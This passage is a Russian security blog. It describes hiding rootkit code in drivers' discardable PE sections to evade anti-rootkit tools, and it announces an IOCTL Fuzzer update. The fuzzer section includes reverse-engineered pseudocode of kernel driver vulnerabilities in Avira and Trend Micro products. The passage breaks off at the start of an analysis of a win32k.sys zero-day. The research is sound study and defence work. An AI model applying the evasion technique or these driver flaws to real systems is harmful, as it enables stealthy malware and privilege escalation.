Универсальные антируткиты, как инструменты для надёжной борьбы со скрытыми объектами, за последние несколько лет стали очень сильно проигрывать в гонке технологий с писателями malware, чьи разработки постепенно уходят от классической модели реализации (драйвер + скрытый файл + скрытый системный сервис). Всем известно, что хороший современный руткит представляет собой уже не отдельный файл, а просто кусок исполняемого кода, получающий управление из зараженного драйвера или загрузочного сектора. В настоящее время присутствует довольно много вредоносных программ, которые нельзя достоверно детектировать (а уже тем более удалить) используя RootkitUnhooker, GMER, RootRepeal или любой другой антируткит подобного класса.

Однако, антируткиты по-прежнему остаются актуальными для детектирования системных аномалий в более широком понимании этого слова: модификация кода в памяти, DKOM, драйвера-фильтры или использование стандартных механизмов нотификации, и так далее. Кроме всего перечисленного важной функцией хороших антируткитов является и детектирование скрытого кода в памяти - кода, который исполняется на процессоре и при этом не принадлежит какому-либо файлу на диске. Данная техника детектирования интересна тем, что способна указать на факт заражения системы абсолютно любым сложным руткитом (из тех, что имеют распространение в настоящий момент) даже в том случае, если другие его скрытые объекты обнаружены не были (зараженные/подмененные файлы, загрузочные сектора, итд.).

Выглядит детектирование скрытого исполняемого кода так:

Rootkit Unhooker

Kernel Detective

RootRepeal

Safe'n'Sec Rootkit Detector

Подобным образом детектируются такие, казалось бы, продвинутые руткиты как TDSS, ZeroAccess а так же практически все известные буткиты, благодаря чему данные механизмы часто используются специалистами как средство для быстрого первичного диагностирования состояния системы.
Существует мнение, что обход детектирования скрытого исполняемого кода не возможен без реализации собственного планировщика потоков или других сложных техник, однако, мы решили показать, что на практике дела обстоят несколько проще, и всерьёз полагаться на такое детектирование не стоит.

Рассмотрим возможные способы реализации поиска скрытого исполняемого кода:

Проверка стартовых адресов потоков, хранящихся в полях StartAddress и Win32StartAddress структуры _ETHREAD. Наиболее примитивный способ.
Перехват ключевых функций ядра (например - ExAllocatePool или IofCallDriver) с проверкой адреса возврата на предмет принадлежности образу какого-либо загруженного драйвера. Способ, который относительно легко обходится путём загрузки в память своей копии ядра. Кроме того, не способен детектировать скрытый код в том случае, если исполняющий его поток большую часть времени проводит в "спящем" состоянии.
Перехват планировщика. Заключается в перехвате какой-либо ключевой функции планировщика потоков, которая вызывается при их переключении (например - SwapContext). В обработчике перехвата текущие адреса потоков, которые отдают или получают квант процессорного времени, проверяются на предмет принадлежности образу какого-либо загруженного драйвера. Данный способ так же не способен детектировать код который исполняется потоком, находящимся в состоянии ожидания большую часть времени.
Анализ указателей. Заключается в поиске активных перехватов кода в ядре (системные вызовы, IRP-обработчики, сплайсинг, нотификаторы) с последующей проверкой адресов обработчиков этих перехватов на предмет принадлежности образу какого-либо загруженного драйвера. Более надёжный способ, но работать он будет только в том случае, если руткит устанавливает какие-либо перехваты заведомо известного типа.
Анализ стеков вызовов. Заключается в перечислении всех активных потоков и получении стека вызовов для каждого из них. Адрес каждой функции из стека вызовов проверяется на предмет принадлежности образу какого-либо загруженного драйвера. Самый совершенный способ, свободный от перечисленных выше недостатков.

После ознакомления с перечисленными реализациями на ум приходит идея копировать исполняемый код руткита поверх загруженного в память образа какого-либо стандартного системного драйвера (не трогая его файл на диске, разумеется). Для этого должны быть удовлетворены следующие условия:

Не должно нарушаться нормальное функционирование загруженного драйвера.
Участок образа загруженного драйвера (который будет использоваться для хранения кода руткита) должен быть выбран таким образом, что бы антируткит не обнаружил каких-либо модификаций при сверке кода в памяти с тем, что содержится в файле на диске.

Данные условия соблюдаются при внедрении кода руткита в так называемые Discardable-секции PE файла (те, которые имеют установленный флаг IMAGE_SCN_MEM_DISCARDABLE). В случае с драйверами режима ядра Discardable-флаг указывает PE-загрузчику на то, что секция может быть выгружена из памяти после завершения инициализации драйвера. Обычно, Discardable-флаг имеют секции содержащие ресурсы, базовые поправки или инициализационный код драйвера. Такие секции помещаются линковщиком в конец образа:

kd> !dh beep.sys

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
3B7D82E5 time date stamp Sat Aug 18 00:47:33 2001

   ...
     
SECTION HEADER #3
    INIT name
     284 virtual size
     880 virtual address
     300 size of raw data
     880 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E2000020 flags
         Code
         Discardable
         (no align specified)
         Execute Read Write

SECTION HEADER #4
   .rsrc name
     3C8 virtual size
     B80 virtual address
     400 size of raw data
     B80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

SECTION HEADER #5
  .reloc name
      9A virtual size
     F80 virtual address
     100 size of raw data
     F80 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

Как известно, в общем случае загрузка драйвера режима ядра осуществляется с помощью функции ZwLoadDriver.

Рассмотрим её работу:

ZwLoadDriver получает из указанного ключа реестра системной службы путь к файлу её драйвера, после чего вызывает функцию MmLoadSystemImage.
MmLoadSystemImage выполняет чтение исполняемого файла с диска и его проецирование в память, после завершения которого вызывает функцию PsCallImageNotifyRoutines.
PsCallImageNotifyRoutines выполняет вызов нотификаторов, которые были установлены с помощью функции PsSetLoadImageNotifyRoutine.
MmLoadSystemImage вызывает точку входа загруженного образа. Если точка входа вернула статус ошибки - образ немедленно выгружается. В случае успеха вызывается функция MmFreeDriverInitialization.
MmFreeDriverInitialization перечисляет все секции образа и выгружает те их них, которые имеют флаг IMAGE_SCN_MEM_DISCARDABLE.

Для демонстрации техники сокрытия исполняемого кода в Discardable-секциях был разработан PoC, который представляет собой драйвер режима ядра работающий следующим образом:

Драйвер устанавливается в систему как служба, имеющая тип запуска SERVICE_BOOT_START (запускающаяся на ранних этапах загрузки операционной системы).
Во время инициализации драйвер устанавливает нотификатор на загрузку исполняемых образов с помощью функции PsSetLoadImageNotifyRoutine. Функция-нотификатор ожидает загрузки системного драйвера, Discardable-секции которого будут использоваться для хранения скрытого исполняемого кода. В PoC-е, в качестве таких драйверов, были выбраны beep.sys, ndiswan.sys, i8042prt.sys или wanarp.sys.
При загрузке любого из перечисленных драйверов PoC выполняет перехват его точки входа методом модификации кода и отключает нотификатор.
Обработчик перехваченной точки входа вызывает оригинальную, а после того, как она вернула управление - снимает флаг IMAGE_SCN_MEM_DISCARDABLE с секций драйвера-жертвы (для того, что бы предотвратить выгрузку этих секций из памяти) и копирует поверх них свой код.
После того, как код был успешно внедрен в Discardable-секции - с помощью функции PsCreateSystemThread создается системный поток, который начинает его исполнение.
Созданный поток вызывает функцию ZwUnloadDriver для выгрузки уже ненужного драйвера PoC-а и приступает к исполнению "полезной нагрузки".

В качестве полезной нагрузки PoC всего лишь циклически выводит отладочное сообщение с пятисекундным интервалом, однако, вместо этого мог быть реализован и любой стандартный руткит-функционал.

Отладочные сообщения PoC-а

PoC работоспособен на всех 32-х разрядных версиях Windows начиная с XP, скрытый исполняемый код не детектируется ни одним публично доступным антируткитом (тесты были проведены на RootkitUnhooker, GMER, RootRepeal, Kernel Detective и Safe'n'Sec Rootkit Detector).

Исходные тексты и исполняемые файлы PoC-а доступны для загрузки в виде архива, а так же в репозитории на GitHub-е.

Новый блог

2010-12-14T04:20:00.000-08:00

Приветствую всех старых и новых знакомых.

Данный блог является дальнейшей эволюцией моего LJ-аккаунта.
Некоторые старые записи доступны по соответствующему тегу.

Обновление программы IOCTL Fuzzer

2010-12-14T02:19:00.000-08:00

Репост из блога Esage Lab

Мы выпустили глобальное обновление IOCTL Fuzzer - программы для автоматического выявления уязвимостей в драйверах режима ядра при обработке IOCTL запросов. Подробности работы с данной программой рассматривались в статье Уязвимости в драйверах режима ядра для Windows.

В текущей версии фаззера присутствуют следующие нововведения:

Поддержка Windows 7
Полная поддержка 64-х разрядных версий Windows
Мониторинг исключений
Режим "честного фаззинга" (отправка IOCTL запросов из контекста процесса фаззера)
Разные режимы генерации некорректных данных для фаззинга
Возможность запуска фаззинга/мониторинга на начальных этапах загрузки операционной системы

Рассмотрим самые важные из них более подробно.

Поддержка 64-х разрядных версий Windows

Для работы на Windows x64 предусмотрена отдельная версия фаззера - ioctlfuzzer64.exe, отличия которой от 32-х разрядной версии минимальны. Заключаются они в способе перехвата системного вызова NtDeviceIoControlFile(): на x32 - замена адреса обработчика системного вызова в таблице KiServiceTable, а на x64 - сплайсинг (модификация кода) оригинального обработчика. Переход на сплайсинг был обусловлен тем, что в 64-х разрядных версиях Windows в KiServiceTable хранятся не сами адреса обработчиков системных вызовов, а 4-х байтовые смещения этих обработчиков относительно начала таблицы.

Фаззер не имеет функций отключения PatchGuard (защита от модификации кода ядра) и действительной цифровой подписи файла драйвера, поэтому его запуск на 64-х разрядных версиях Windows следует производить исключительно с активным удалённым отладчиком режима ядра, при наличии которого PatchGuard и проверка цифровых подписей драйверов выключаются автоматически.

Мониторинг исключений

Во время фаззинга (причём не только драйверов) хакеры довольно часто встречаются со следующей ситуацией: внутри исследуемой программы происходит попытка записи по недействительному (но потенциально контролируемому атакующим) адресу, которая "давится" встроенной в код программы обработкой исключений. В результате наличие уязвимости никак не скажется на поведении программы во время тестирования, и как следствие - такая уязвимость с огромной долей вероятности останется просто незамеченной.

Для решения подобных проблем и используют мониторинг исключений, суть которого сводится к тому, что бы каким-либо образом перехватить информацию об возникшем исключении до того, как его успеет обработать тестируемая программа.

К сожалению, все существующие на данный момент программы для мониторинга исключений или слишком медленны и не универсальны (касается тех, которые используют стандартный debug API) или работают только на нескольких относительно старых версиях Windows (касается популярной программы ExcpHook). По этой причине нами был разработан собственный инструмент для мониторинга исключений свободный от данных недостатков, который в последствии был интегрирован в IOCTL Fuzzer.

Принцип его работы заключается в перехвате не экспортируемой и не документированной функции ядра KiDispatchException() методом сплайсинга. А так как адрес данной функции получается из отладочных символов ядра, которые фаззер автоматически загружает с PDB сервера Microsoft, реализованный способ перехвата не привязан к конкретной версии операционной системы и является универсальным.

Монитор исключений записывает в лог следующую информацию:

Имя процесса и идентификатор потока, в контексте которого произошло исключение
Код исключения, с указанием текстовых констант для тех, которые являются стандартными
Адрес вызвавшей исключение инструкции и так же дополнительные параметры исключения
Ассемблерная мнемоника инструкции, которая вызвала исключение
Состояние регистров процессора на момент возникновения исключения

Для активации мониторинга исключений необходимо указать в командной строке к приложению ioctlfuzzer.exe параметр "--exceptions".

Режим "честного фаззинга"

Старая версия фаззера отправляла "мусорные" IOCTL запросы из контекста того же процесса, где был перехвачен оригинальный IOCTL запрос, что на практике приносило некоторое количество "ложных срабатываний" фаззера на не эксплуатируемых уязвимостях.

Для того, что бы проиллюстрировать причину таких "ложных срабатываний", рассмотрим следующий пример кода обработки IOCTL запроса в драйвере:

 1 
 2 typedef struct _REQUEST_BUFFER
 3 {
 4     char szString[];
 5 
 6 } REQUEST_BUFFER,
 7 *PREQUEST_BUFFER;
 8 
 9 // Указатель на доверенный процесс, который устанавливается,
10 // к примеру, при инициализации драйвера.
11 PEPROCESS m_TrustedProcess = NULL;
12 
13 NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
14 {
15     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
16 
17     Irp->IoStatus.Status = ns;
18     Irp->IoStatus.Information = 0;
19 
20     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
21     {
22         // извлечение параметров IOCTL запроса
23         ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
24         ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
25         PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
26 
27         switch (Code)
28         {
29         case IOCTL_DO_SOMETHING:
30             {
31                 // проверка параметров IOCTL запроса
32                 if (PsGetCurrentProcess() == m_TrustedProcess &&
33                     Size > 0)
34                 {
35                     char szLocalString[255];
36                     strcpy(szLocalString, &Buff->szString);
37 
38                     // выполнение какой-то полезной работы
39                     // ...
40                 }
41 
42                 break;
43             }
44         }
45     }
46 
47     // ...
48 
49 }
50

Как мы можем видеть, вызов функции strcpy() на 36-й строке уязвим к классическому переполнению буфера, которое, однако, не эксплуатируемое на практике, так как ему предшествует "отсекание" IOCTL-запросов от процессов, не являющихся доверенными (32-я строка). Поскольку IOCTL запросы старой версии фаззера отправлялись из контекста оригинального процесса, осуществляющего взаимодействие с тестируемым драйвером, то фаззинг продемонстрированного фрагмента кода приводил бы к краху системы.

Разумеется, далеко не все подобные проверки действительно нельзя обойти, однако, на практике было бы удобно иметь опцию, которая бы позволяла фаззеру пропускать подобные места кода. В новой версии IOCTL Fuzzer такая опция именуется "честный фаззинг". Её суть заключается в том, что активация настройки "fair_fuzzing" в конфигурационном файле указывает фаззеру на необходимость отправлять все "мусорные" IOCTL запросы из контекста своего собственного процесса, который, разумеется, вряд-ли будет являться доверенным для драйверов посторонних приложений.

В заключении рассмотрим пользу "честного фаззинга" при тестировании реального приложения на примере последней версии Avira Premium Security Suite. При запуске фаззера с отключенной настройкой "fair_fuzzing" довольно быстро происходит аварийное завершение работы системы в следствии краха тестируемого приложения. При анализе аварийного дампа обнаруживается следующий стек вызовов:

Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Module load completed but symbols could not be loaded for avgntflt.sys
avgntflt+0x698c:
b2a8a98c 66393e          cmp     word ptr [esi],di
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
b27739b4 b2a87745 304ef370 caba0198 caba0384 avgntflt+0x698c
b27739cc b2a89ad4 81dea508 00000037 00000037 avgntflt+0x3745
b27739ec b2a89ba8 caba021c 81dea508 00000037 avgntflt+0x5ad4
b2773a1c 804ee119 81f2fd80 82174a68 806d22d0 avgntflt+0x5ba8
b2773a2c 80574d5e 82174ad8 8211ee58 82174a68 nt!IopfCallDriver+0x31
b2773a40 80575bff 81f2fd80 82174a68 8211ee58 nt!IopSynchronousServiceTail+0x70
b2773ae8 8056e46c 000000f4 00000000 00000000 nt!IopXxxControlFile+0x5e7
*** ERROR: Module load completed but symbols could not be loaded for IOCTLfuzzer.sys
b2773b1c b201b405 000000f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b2773ba8 b201ba90 00000001 000000f4 00000000 IOCTLfuzzer+0x4405
b2773c9c b201be17 00000001 81ecf008 000000f4 IOCTLfuzzer+0x4a90
b2773d34 8053d638 000000f4 00000000 00000000 IOCTLfuzzer+0x4e17
b2773d34 7c90e4f4 000000f4 00000000 00000000 nt!KiFastCallEntry+0xf8
00a1e338 7c90d26c 7c801675 000000f4 00000000 ntdll!KiFastSystemCallRet
00a1e33c 7c801675 000000f4 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc

Из аргументов функции avgntflt+0x5ba8 (выделены красным) извлекается имя устройства и параметры IOCTL запроса, который вызвал ошибку:

kd> !devobj 81f2fd80
Device object (81f2fd80) is for:
 avgntflt \FileSystem\avgntflt DriverObject 8210c1c8
Current Irp 00000000 RefCount 1 Type 00000008 Flags 00000040
Dacl e138a1dc DevExt 00000000 DevObjExt 81f2fe38
ExtensionFlags (0000000000)
Device queue is not busy.
kd> !irp 82174a68
Irp is active with 1 stacks 1 is current (= 0x82174ad8)
 No Mdl: System buffer=81dea508: Thread 81f29da8:  Irp stack trace.
     cmd  flg cl Device   File     Completion-Context
>[  e, 0]   5  0 81f2fd80 8211ee58 00000000-00000000
        \FileSystem\avgntflt
   Args: 00000000 00000037 caba021c 00000000
kd> dt _IO_STACK_LOCATION 82174ad8 Parameters.DeviceIoControl.
ntdll!_IO_STACK_LOCATION
   +0x004 Parameters                  :
      +0x000 DeviceIoControl             :
         +0x000 OutputBufferLength          : 0
         +0x004 InputBufferLength           : 0x37
         +0x008 IoControlCode               : 0xcaba021c
         +0x00c Type3InputBuffer            : (null)

Как видно, ошибка происходит при обработке IOCTL запроса с кодом 0xcaba021c, адресованного устройству avgntflt (драйвер тестируемого продукта). Изучение уязвимого драйвера с помощью дизассемблера приводит к следующему фрагменту кода:

 1 unsigned int __stdcall sub_F7F376AA(unsigned int Code, int FileInformation, int a3, int a4, ULONG Length, int a6, int a7)
 2 {
 3   int v8; // eax@20
 4   int v9; // [sp+0h] [bp-4h]@1
 5 
 6   v9 = 0;
 7   if (KeGetCurrentIrql())
 8     return STATUS_UNSUCCESSFUL;
 9 
10   if ( Code != 0xCABA0198
11     && Code != 0xCABA0320
12     && Code != 0xCABA032C
13     && Code != 0xCABA0384
14     && IoGetCurrentProcess() != (PEPROCESS)dword_F7F3C184)
15     return STATUS_UNSUCCESSFUL;
16 
17   // ...
18 
19   if (Code == 0xCABA021C)
20   {
21     sub_F7F356F0(FileInformation, a3);
22     return v9;
23   }
24 
25   // ...
26 
27   return v9;
28 }
29

Как видно, вызов уязвимой функции sub_F7F356F0, которая осуществляет обработку IOCTL запроса с нужным нам кодом, происходит только в том случае, если будет удовлетворено условие, осуществляющее проверку текущего процесса на предмет того, является ли он доверенным. В этом легко убедиться запустив фаззер с активированной настройкой "fair_fuzzing" - в этом случае падения системы при повторном проведении теста не произойдет.

Режимы генерации некорректных данных для фаззинга

Алгоритм, который фаззер будет использовать для генерации некорректных данных, так же является важным фактором, определяющим эффективность его работы. Продемонстрируем это утверждение на следующем примере кода:

 1 typedef struct _REQUEST_BUFFER
 2 {
 3     ULONG Operation;
 4     char szString[];
 5 
 6 } REQUEST_BUFFER,
 7 *PREQUEST_BUFFER;
 8 
 9 NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
10 {
11     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
12 
13     Irp->IoStatus.Status = ns;
14     Irp->IoStatus.Information = 0;
15 
16     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
17     {
18         // извлечение параметров IOCTL запроса
19         ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
20         ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
21         PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
22 
23         switch (Code)
24         {
25         case IOCTL_DO_SOMETHING:
26             {
27                 // проверка параметров IOCTL запроса
28                 if (Buff->Operation == SOME_CONST &&
29                     Size > 0)
30                 {
31                     char szLocalString[255];
32                     strcpy(szLocalString, &Buff->szString);
33 
34                     // выполнение какой-то полезной работы
35                     // ...
36                 }
37 
38                 break;
39             }
40         }
41     }
42 
43     // ...
44 
45 }
46

Как видно, уязвимому к переполнению буфера вызову функции strcpy предшествует проверка значения поля Operation, структуры входящих данных IOCTL запроса, на равенство некоторой константе. Старая версия фаззера, с большой долей вероятности, не обнаружила бы подобную уязвимость по причине того, что при генерации "мусорных" IOCTL запросов она использовала примитивное заполнение входного буфера случайными байтами.

Данная недоработка была исправлена, и текущая версия фаззера поддерживает следующие режимы генерации некорректных данных:

Random - применявшееся ранее заполнение буфера случайными байтами.
Dwords - поочерёдное копирование в оригинальный входной буфер двойного слова таким образом, что бы его смещение начиная с первой и заканчивая последней итерацией отправки мусорных данных варьировалось в диапазоне от нуля до BuffSize - sizeof(DWORD). В качестве значения этого двойного слова поочерёдно используются константы 0x00000000, 0x00001000, 0xFFFF0000 и 0xFFFFFFFF.

Нужный режим генерации некорректных данных устанавливается при помощи настройки "fuzzing_type" в конфигурационном файле программы.

Запуск фаззинга/мониторинга на начальных этапах загрузки

Для более полного покрытия IOCTL запросов, обрабатываемых тестируемым драйвером, бывает необходимо выполнить так же фаззинг и тех из них, которые могут генерироваться приложением или системным сервисом единожды, например во время инициализации. Поскольку подобная инициализация может происходить ещё до запуска пользовательского окружения операционной системы, в новой версии фаззера была добавлена возможность запуска процесса фаззинга/мониторинга на ранних этапах загрузки.

Для активации IOCTL Fuzzer при следующей перезагрузке системы необходимо указать в командной строке к его приложению параметр "--boot".

Пример использования фаззера при поиске реальных уязвимостей

В завершении данной заметки приведем пример ещё одной уязвимости, которая была найдена с помощью IOCTL Fuzzer. В качестве тестируемого приложения будет выступать популярный на западном рынке антивирусных решений продукт - Trend Micro Titanium Maximum Security.

Вскоре после запуска фаззера происходит аварийное завершение работы системы, в выводе удалённого отладчика режима ядра отображается следующее сообщение, c информацией о последнем обработанном фаззером IOCTL запросе:

'C:\Program Files\Trend Micro\AMSP\coreServiceShell.exe' (PID: 792)
'\Device\TmComm' (0x81d6a030) [\SystemRoot\system32\DRIVERS\tmcomm.sys]
IOCTL Code: 0x9000402b,  Method: METHOD_NEITHER
    InBuff: 0x018fc080,  InSize: 0x0000004c
   OutBuff: 0x018fc080, OutSize: 0x0000004c

Как видно, в данном фрагменте фигурируют имена драйвера и процесса Trend Micro. Стек вызовов на момент краха системы выглядит следующим образом:

ChildEBP RetAddr  Args to Child
b2862410 804f7b9d 00000003 ffff0000 00000000 nt!RtlpBreakWithStatusInstruction
b286245c 804f878a 00000003 00000000 c07fff80 nt!KiBugCheckDebugBreak+0x19
b286283c 804f8cb5 00000050 ffff0000 00000001 nt!KeBugCheck2+0x574
b286285c 8051cc4f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b28628bc 8054051c 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b28628bc b217f927 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
b2862974 b2176acb 00000000 018fc060 00000001 tmcomm!CSystemThread::TearDown+0x46b1
b286298c b2176fa0 018fc080 018fc080 00000000 tmcomm!NormalizeFullNtPathToDosName+0x3aa7
b28629a8 b2176823 b2862a04 009f1edd c0000001 tmcomm!NormalizeFullNtPathToDosName+0x3f7c
b28629e8 b217592f 9000402b b2862a04 82057bd0 tmcomm!NormalizeFullNtPathToDosName+0x37ff
b2862a1c 804ee119 81d6a030 81d6a034 806d22d0 tmcomm!NormalizeFullNtPathToDosName+0x290b
b2862a2c 80574d5e 8228e6b0 82057bd0 8228e640 nt!IopfCallDriver+0x31
b2862a40 80575bff 81d6a030 8228e640 82057bd0 nt!IopSynchronousServiceTail+0x70
b2862ae8 8056e46c 00000d00 00000000 00000000 nt!IopXxxControlFile+0x5e7
b2862b1c b1eae4ca 00000d00 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b2862ba8 b1eaea90 00000001 00000d00 00000000 IOCTLfuzzer+0x44ca
b2862c9c b1eaee17 00000001 81ef9a48 00000d00 IOCTLfuzzer+0x4a90
b2862d34 8053d638 00000d00 00001554 00000000 IOCTLfuzzer+0x4e17
b2862d34 7c90e4f4 00000d00 00001554 00000000 nt!KiFastCallEntry+0xf8
018fbf70 7c90d26c 7c8016c2 00000d00 00001554 ntdll!KiFastSystemCallRet

Приступим к реверсингу уязвимого драйвера tmcomm.sys, начав с процедуры обработки IRP запросов к устройствам данного драйвера:

 1 int __stdcall sub_1E8BE(int DriverObject, char *Irp)
 2 {
 3   StackLocation = *((_DWORD *)Irp + 24);
 4   IoStatus = Irp + 28;
 5   *((_DWORD *)Irp + 7) = 0;
 6 
 7   MajorFunction = *(_BYTE *)StackLocation;
 8 
 9   if (MajorFunction == 2)
10     goto LABEL_12;
11 
12   if (MajorFunction > 0xDu)
13   {
14     // обработка IRP запросов типа IRP_MJ_DEVICE_CONTROL
15     if (MajorFunction <= 0xFu)
16     {
17       // извлечение параметров IOCTL запроса из структуры IO_STACK_LOCATION
18       Type3InputBuffer = *(_DWORD *)(StackLocation + 0x10);
19       UserBuffer = *((_DWORD *)v6 + 15);
20       InputBufferLength = *(_DWORD *)(StackLocation + 8);
21       OutputBufferLength = *(_DWORD *)(StackLocation + 4);
22       v27 = IoStatus;
23       v24 = OutputBufferLength;
24 
25       // дальнейшая обработка IOCTL запроса
26       v5 = sub_1F7A6(*(_DWORD *)(StackLocation + 0xC), (int)&InputBufferLength);
27       goto LABEL_9;
28     }
29 
30     // ...
31   }
32 
33   // ...
34 
35   return v5;
36 }
37

Как видно по приведенному псевдокоду, обработка IOCTL запросов осуществляется в процедуре sub_1F7A6():

 1 int __stdcall sub_1F7A6(int ControlCode, int a2)
 2 {
 3   v7 = 0xC00000BBu;
 4   v6 = 0;
 5   v2 = ExGetPreviousMode();
 6   v3 = 0;
 7   if (off_34CB4)
 8   {
 9     v4 = 0;
10 
11     // Поиск процедуры дальнейшей обработки IOCTL запроса по значению
12     // ControlCode. Для 0x9000402b (значение, которое было выявленно при фаззинге)
13     // будет вызвана процедура sub_1FF38()
14     while (*(int *)((char *)&dword_34CB0 + v4) != ControlCode)
15     {
16       ++v3;
17       v4 = 8 * v3;
18       if (!*(&off_34CB4 + 2 * v3))
19         goto LABEL_7;
20     }
21     v6 = *(&off_34CB4 + 2 * v3);
22   }
23 LABEL_7:
24   if (v2 == UserMode)
25   {
26     // проверка входного и выходного буферов
27     ProbeForRead(*(const void **)(a2 + 8), *(_DWORD *)a2, 1u);
28     ProbeForWrite(*(PVOID *)(a2 + 12), *(_DWORD *)(a2 + 4), 1u);
29   }
30   if ( v6 )
31   {
32     v7 = v6(a2); // <-- вызов процедуры sub_1FF38()
33 
34     // ...
35   }
36   return v7;
37 }
38

Полный код всех процедур, которые участвуют в обработке IOCTL запроса, приводиться не будет по причине его громоздкости.
В ходе проведенного реверсинга было выяснено, что IOCTL запрос с кодом 0x9000402b используется для вызова из пользовательского приложения оригинальных обработчиков тех системных вызовов, которые были перехвачены драйвером антивирусной защиты. При этом во входном буфере по нулевому смещению находится байт, значение которого определяет то, какой системный вызов следует вызвать (например, для NtCreateFile() это значение равно 0x2713). Все остальное пространство входного буфера используется для хранения указателей на структуры (UNICODE_STRING, OBJECT_ATTRIBUTES и другие), которые следует заполнить и передать в качестве параметров для системного вызова.

Уязвимость, позволяющая выполнить произвольный код с наивысшими привилегиями, содержится в функции, которая непосредственно осуществляет системный вызов. Она заключается в отсутствии проверок упоминавшихся выше указателей на параметры системного вызова:

 1 int __thiscall sub_288AA(void *this, int InputBuffer, int a3, int a4)
 2 {
 3   // извлечение параметров для системного вызова из входного буфера
 4   v18 = *(_DWORD *)(InputBuffer + 56);
 5   v17 = *(_DWORD *)(InputBuffer + 32);
 6   v12 = *(_DWORD *)(InputBuffer + 36);
 7   v14 = *(_DWORD *)(InputBuffer + 40);
 8   v15 = *(_DWORD *)(InputBuffer + 44);
 9   v11 = (HANDLE *)(a3 + 8);
10   ObjAttr = *(_DWORD *)(a3 + 0x3C);
11   v10 = (int)this;
12   StringBuffer = *(_DWORD *)(InputBuffer + 0xC);
13   v13 = *(_DWORD *)(InputBuffer + 52);
14   UnicodeString = *(_DWORD *)(InputBuffer + 0x44);
15   v19 = *(struct _IO_STATUS_BLOCK **)(a3 + 0x40);
16   StringLen = *(_DWORD *)(InputBuffer + 0x14);
17   v16 = *(_DWORD *)(InputBuffer + 48);
18 
19   if (StringBuffer && UnicodeString && ObjAttr && v19 && StringLen)
20   {
21     // заполнение структуры UNICODE_STRING
22     *(_DWORD *)(UnicodeString + 4) = StringBuffer;
23     *(_WORD *)(UnicodeString + 2) = StringLen;
24     *(_WORD *)UnicodeString = StringLen;
25 
26     // заполнение структуры OBJECT_ATTRIBUTES
27     *(_DWORD *)ObjAttr = 24;
28     *(_DWORD *)(ObjAttr + 4) = 0;
29     *(_DWORD *)(ObjAttr + 12) = 0x240u;
30     *(_DWORD *)(ObjAttr + 8) = UnicodeString;
31     *(_DWORD *)(ObjAttr + 16) = 0;
32     *(_DWORD *)(ObjAttr + 20) = 0;
33 
34     // вызов оригинального обработчика системного вызова NtCreateFile()
35     result = sub_185C2(v10, v11, v12, (OBJECT_ATTRIBUTES *)ObjAttr, v19, 0, v13, v14, v15, v16, 0, 0, a4);
36     if (result < 0)
37       *v11 = (HANDLE)-1;
38   }
39   else
40   {
41     result = 0xC000000Du;
42     *(_DWORD *)(InputBuffer + 4) = 0xC000000Du;
43   }
44   return result;
45 }
46

Таким образом, путём передачи уязвимому драйверу специальным образом сформированного буфера атакующий может переписать произвольным значением произвольный байт памяти в пространстве ядра. Более подробно эксплуатация подобных уязвимостей рассматривалась в уже упоминавшейся в данной заметке статье.

Стоит отметить, что рассмотренная уязвимость, не смотря на возможность локального выполнения произвольного кода в пространстве ядра, имеет низкую степень опасности. Это связанно с тем, что необходимое для эксплуатации уязвимости устройство \Device\TmComm может быть открыто только пользователем с наивысшими привилегиями:

Таким образом, уязвимость представляет исключительно образовательную ценность, и её эксплуатация в реальных условиях является бессмысленной. Для уязвимости был разработан полнофункциональный эксплойт.

Загрузить IOCTL Fuzzer

IOCTL Fuzzer распространяется в виде исходных текстов и исполняемых файлов под 32-х и 64-х разрядные версии Windows.

Страница программы на Google Code
Файл README.TXT

Новая уязвимость в ядре Windows

2010-12-13T13:42:00.000-08:00

Репост из блога Esage Lab

В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.

Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.

В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):

BOOL EnableEUDC(
  BOOL fEnableEUDC
);

Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():

NTSTATUS RtlQueryRegistryValues(
  __in      ULONG RelativeTo,
  __in      PCWSTR Path,
